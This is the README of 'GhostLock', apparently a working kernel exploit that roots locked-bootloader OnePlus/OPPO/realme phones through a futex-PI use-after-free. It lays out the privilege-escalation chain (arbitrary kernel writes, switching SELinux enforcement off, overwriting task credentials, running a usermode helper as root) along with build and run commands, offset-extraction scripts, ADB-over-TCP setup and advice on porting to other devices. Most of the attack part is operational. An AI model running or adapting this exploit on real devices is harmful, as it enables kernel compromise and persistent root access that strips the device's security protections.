GhostLock — OnePlus-Jailbreak mit gesperrtem Bootloader

Kernel-Exploit für OnePlus/OPPO/realme-Geräte mit gesperrtem Bootloader. Ermöglicht Root + KernelSU-Installation, ohne den Bootloader zu entsperren oder das Boot-Image zu verändern. Laufzeit-Autoerkennung der Kernelversion mit geräteübergreifender Offset-Tabelle.

Schwachstelle

CVE-2026-43499 — Futex-PI-Use-After-Free (Priority Inheritance)

Betrifft Linux-Kernel 2.6.39 bis 7.1. Behoben in Mainline 7.1 (Commit 3bfdc63936dd). Android GKI 6.12.x bleibt verwundbar.

Der Syscall pselect6 kopiert fd_set-Daten auf den Kernel-Stack. In Kombination mit dem Futex-PI-Waiter-Mechanismus kann ein freigegebener Stack-Frame als rt_mutex_waiter-Struktur wiederverwendet werden. Die rb-Tree-Rebalancierung während des PI-Chain-Walks schreibt daraufhin kontrollierte Werte an beliebige Kernel-Adressen.

Unterstützte Geräte

Verifiziert

Extrahierte Offsets (Gerätetest ausstehend)

Nicht machbar (Stack-Layout inkompatibel)

Das pselect-Stack-Overlay funktioniert nur, wenn der freigegebene rt_mutex_waiter in den benutzerkontrollierbaren Bereich des stack_fds-Puffers fällt. Wo der Waiter landet, bestimmt die Compiler-Ausgabe (PGO + LTO), nicht die Kernelversion. Details siehe Stack-Layout.

Exploit-Ablauf

Zwei Root-Pfade, automatisch basierend auf den Gerätefähigkeiten ausgewählt:

Pfad A: UMH-Root (bevorzugt, C-ashmem-Geräte)

Erfordert off_ashmem_misc_fops != 0 (C-ashmem mit statischem miscdevice im BSS).

PI write (mode=4)  →  redirect miscdevice fops to fake fops (via W0 pi_tree)
                      configfs r/w established
                   →  pipe physrw (1-byte precise kernel r/w)
                   →  SELinux enforcing = 0 (single byte, no policycap corruption)
                   →  UMH: inject work_struct into system_unbound_wq
                      kernel executes /data/local/tmp/a/e --umh as UID 0
                   →  root script → ksud late-load → KSU installed

Vorteile gegenüber Pfad B:

• 1-Byte-SELinux-Write — korrumpiert selinux_state.policycap nicht (behebt Netzwerkprobleme auf OnePlus 13)
• Kein perf_event_open — funktioniert unter seccomp-Einschränkungen
• Kein Credential-Patching — vermeidet die Modifikation der Live-task_struct

Derzeit verfügbar auf: OnePlus 13 (Kernel 6.6, C-ashmem). Nicht verfügbar auf Rust-ashmem-Geräten (6.12-GKI) — das miscdevice wird auf dem Heap allokiert, die Adresse ist zur Kompilierzeit nicht vorhersagbar.

Pfad B: Direkter PI-Write (Fallback, alle Geräte)

Wird verwendet, wenn UMH-Offsets oder C-ashmem-misc_fops nicht verfügbar sind.

Write 1 (mode=1)  →  SELinux enforcing = 0
                      (low byte of kernel ptr = 0x00, 8-byte write)

Write 2 (mode=2)  →  task->cred = init_cred
                      (uid=0, all capabilities)

Root shell         →  ksud late-load (KernelSU LKM)
                   →  su -c load_policy (fix SELinux policycap)
                   →  dynamic manager registration

Bootstrap-Modus (Standalone auf dem Gerät)

App (seccomp)  →  Write 1 (no perf needed)
               →  mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
               →  adb shell: full exploit (perf works, no seccomp)
               →  root → KSU → network fix

Auto-Boot (über ReSukiSU-Integration)

BOOT_COMPLETED → BootCompletedReceiver
  ├─ su available → skip (soft reboot / already rooted)
  └─ no root → GhostlockService → setsid exploit --bootstrap

Machbarkeit des Stack-Layouts

Mit NFDS=320 allokiert core_sys_select des Kernels einen 256-Byte-stack_fds-Puffer:

stack_fds:  0    5    10   14 | 15   20   25   29
            ├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
            ◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►

Der Exploit schreibt gefälschte Waiter-Felder (task, lock) in die fd_set-Eingabe-Bitmaps. Damit das funktioniert, müssen die task- und lock-Felder des Waiters in die kontrollierbare Zone fallen (Wörter 0–14).

Ace 6T ✅ (waiter at word 2):
  ░░████████████████░░│░░░░░░░░░░░░░░░░░░
    ▲waiter      t  l │
    task/lock controllable

RMX5070 ❌ (waiter at word 13):
  ░░░░░░░░░░░░░████│██████████████░░░░░░
                 ▲  │    t     l
               waiter  task/lock ZEROED

Machbarkeitsregel: Waiter-Wort + 11 (Lock-Offset in rt_waiter_node) muss ≤ 14 sein. Das maximal mögliche Waiter-Wort ist 3.

Die Position des Waiters wird durch das Stack-Frame-Layout des Compilers bestimmt (PGO- + LTO- + BOLT-Optimierungsprofile) und variiert je nach SoC-Zweig. Dieselbe Kernelversion kann auf verschiedenen SoCs unterschiedliche Layouts haben.

kernel_phys_load

Alle Kernel-Schreibzugriffe laufen über den Linear-Map-Alias des Images:

data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)

Der Bootloader bestimmt kernel_phys_load, daher variiert es pro SoC und ist weder in boot.img noch im DT enthalten. Gerätespezifisches Feld in struct kernel_offsets; 0 = den target.h-Standardwert verwenden.

Ein falscher Wert schlägt still fehl — der Schreibzugriff landet weiterhin im gemappten RAM, daher gibt es weder einen Absturz noch eine Wirkung. Verwechsle das nicht mit einem PSELECT_SHIFT-Problem. Lies den Wert auf einem gerooteten Gerät desselben Modells aus (Kernel code beginnt bei _stext; _text liegt 0x10000 tiefer):

su -c 'grep -i "Kernel code" /proc/iomem'   # c7810000-... -> 0xc7800000

PSELECT_SHIFT

Verschiedene Kernel platzieren den Waiter an unterschiedlichen Positionen innerhalb der kontrollierbaren Zone. Verwende PSELECT_SHIFT zur Anpassung:

# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e

# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e

# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e

Das von check_feasibility.py ermittelte Waiter-Wort ist unzuverlässig: Die Frame-Arithmetik stimmt, aber die Struct-Offsets, die es aus den Zero-Stores ableitet, stimmen nicht (auf OnePlus 15 liefert es Wort 3; gemessen ist Wort 2). Ein falscher Shift kostet pro Versuch eine Kernel-Panic, daher miss es stattdessen auf einem gerooteten Gerät:

echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
#   PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2

Kompilieren

NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  -O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
  src/core/main.c src/core/util.c src/core/slide.c \
  src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
  src/core/miniadb.c src/core/umh_root.c \
  -o ghostlock -fPIE -pie -pthread

Voraussetzungen

ksud (für die KSU-Installation erforderlich)

GhostLock stellt nur Root bereit. Die KernelSU-Installation hängt von ksud ab — einer Binärdatei, die eingebettete kernelsu.ko-Module für jede KMI-Version enthält. Das Root-Skript findet ksud auf dem Gerät und ruft ksud late-load --kmi android16-6.12 auf.

Ohne ksud erreicht der Exploit Root (uid=0), aber KSU wird nicht installiert und su bleibt nicht bestehen.

Einrichtung (einmalig)

# Enable ADB TCP (use any port)
adb tcpip 5555

# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"

Nach dem ersten erfolgreichen Jailbreak wird persist.adb.tcp.port über resetprop gesetzt — nachfolgende Boots laufen vollständig automatisch ab.

Verwendung

/data/local/tmp/a/e                        # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap            # Phone standalone (app context)
/data/local/tmp/a/e --write1               # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e       # Override stack layout shift

Wichtig: Innerhalb von 30 Sekunden nach dem Boot ausführen, um die zuverlässigste KernelSnitch-Zeitsteuerung zu erreichen.

Hinzufügen neuer Geräte / Kernelversionen

Es wird nur boot.img benötigt — kein Root, kein Gerätezugriff erforderlich.

Offsets aus boot.img extrahieren

# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Global symbols (kallsyms)
python tools/extract_target.py    # 28 offsets, auto-validated

# 3. Struct fields (BTF)
python tools/extract_btf.py kernel  # 57 offsets, auto-validated

# 4. Add to offsets.h, rebuild

Abdeckung: 103/103 Offsets aus boot.img

Anpassung an Nicht-OnePlus-Geräte

Der Kern-Exploit ist geräteunabhängig. Eine Anpassung kann Folgendes erfordern:

• Andere VA_BITS (48 vs. 39) → target.h-Speicherlayout aktualisieren
• Anderer kernel_phys_load → aus /proc/iomem lesen oder die KPHYS=-Umgebungsvariable verwenden
• Andere Timing-Parameter → common.h anpassen
• Andere ashmem-Implementierung (C vs. Rust) → C-ashmem aktiviert den UMH-Pfad; Rust-ashmem fällt auf W1+W2 zurück
• Anderer PSELECT_SHIFT → per QEMU-kprobe-Test ermitteln
• Andere Struct-Offsets (6.6 vs. 6.12) → STRUCT_OFFSETS_6_6 oder STRUCT_OFFSETS_6_12 im Geräteeintrag verwenden

Anforderungen an den UMH-Root

Der UMH-Root-Pfad (call_usermodehelper) erfordert:

• off_system_unbound_wq und off_call_usermodehelper_exec_work aus kallsyms
• off_ashmem_misc_fops = ashmem_misc + 0x10 (nur C-ashmem, miscdevice.fops im BSS)
• Rust-ashmem (GKI 6.12) allokiert das miscdevice auf dem Heap → Adresse nicht vorhersagbar → UMH nicht verfügbar

Dateien

Lizenz

Nur für autorisierte Sicherheitsforschung und zu Bildungszwecken.